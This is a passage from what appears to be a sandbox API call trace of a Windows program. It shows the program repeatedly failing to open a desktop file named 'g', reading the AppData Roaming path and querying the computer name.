dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.190] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.190] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.190] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.190] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.190] CloseHandle (hObject=0x0) returned 0 [0189.190] CloseHandle (hObject=0xffffffff) returned 1 [0189.190] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.190] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.190] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.190] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.190] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.190] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.191] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.191] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.191] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.191] CloseHandle (hObject=0x0) returned 0 [0189.191] CloseHandle (hObject=0xffffffff) returned 1 [0189.191] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.191] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.191] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.191] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.191] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.191] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.191] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.191] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.191] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.191] CloseHandle (hObject=0x0) returned 0 [0189.191] CloseHandle (hObject=0xffffffff) returned 1 [0189.191] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.191] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.191] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.191] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.191] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.191] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.191] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.191] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.191] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.191] CloseHandle (hObject=0x0) returned 0 [0189.191] CloseHandle (hObject=0xffffffff) returned 1 [0189.192] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.192] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.192] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.192] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.192] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.192] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.192] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.192] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.192] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.192] CloseHandle (hObject=0x0) returned 0 [0189.192] CloseHandle (hObject=0xffffffff) returned 1 [0189.192] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.192] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.192] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.192] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.192] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.192] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.192] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.192] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.192] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.192] CloseHandle (hObject=0x0) returned 0 [0189.192] CloseHandle (hObject=0xffffffff) returned 1 [0189.192] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.193] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.193] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.193] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.193] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.193] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.193] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.193] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.195] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.195] CloseHandle (hObject=0x0) returned 0 [0189.195] CloseHandle (hObject=0xffffffff) returned 1 [0189.195] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.195] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.195] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.195] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.195] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.195] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.195] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.195] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.195] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.195] CloseHandle (hObject=0x0) returned 0 [0189.195] CloseHandle (hObject=0xffffffff) returned 1 [0189.195] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.195] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.195] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.195] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.195] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.195] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.196] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.196] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.196] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.196] CloseHandle (hObject=0x0) returned 0 [0189.196] CloseHandle (hObject=0xffffffff) returned 1 [0189.196] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.196] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.196] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.196] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.196] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.196] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.196] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.196] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.196] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.196] CloseHandle (hObject=0x0) returned 0 [0189.196] CloseHandle (hObject=0xffffffff) returned 1 [0189.196] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.196] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.196] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.196] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.196] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.197] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.197] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.197] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.197] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.197] CloseHandle (hObject=0x0) returned 0 [0189.197] CloseHandle (hObject=0xffffffff) returned 1 [0189.197] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.197] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.197] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.197] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.197] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.197] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.197] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.197] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.197] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.197] CloseHandle (hObject=0x0) returned 0 [0189.197] CloseHandle (hObject=0xffffffff) returned 1 [0189.197] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.197] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.198] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.198] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.198] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.198] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.198] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.198] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.198] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.198] CloseHandle (hObject=0x0) returned 0 [0189.198] CloseHandle (hObject=0xffffffff) returned 1 [0189.198] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.198] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.198] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.198] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.198] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.198] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.198] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.198] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.198] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.198] CloseHandle (hObject=0x0) returned 0 [0189.198] CloseHandle (hObject=0xffffffff) returned 1 [0189.199] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.199] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.199] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.199] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.199] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.199] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.199] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.199] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.199] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.199] CloseHandle (hObject=0x0) returned 0 [0189.199] CloseHandle (hObject=0xffffffff) returned 1 [0189.199] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.199] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.199] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.199] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.199] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.199] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.199] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.199] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.199] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.199] CloseHandle (hObject=0x0) returned 0 [0189.200] CloseHandle (hObject=0xffffffff) returned 1 [0189.200] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.200] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.200] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.200] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.200] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.200] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.200] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.200] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.200] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.200] CloseHandle (hObject=0x0) returned 0 [0189.200] CloseHandle (hObject=0xffffffff) returned 1 [0189.200] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.200] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.200] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.200] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.200] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.200] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.200] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, 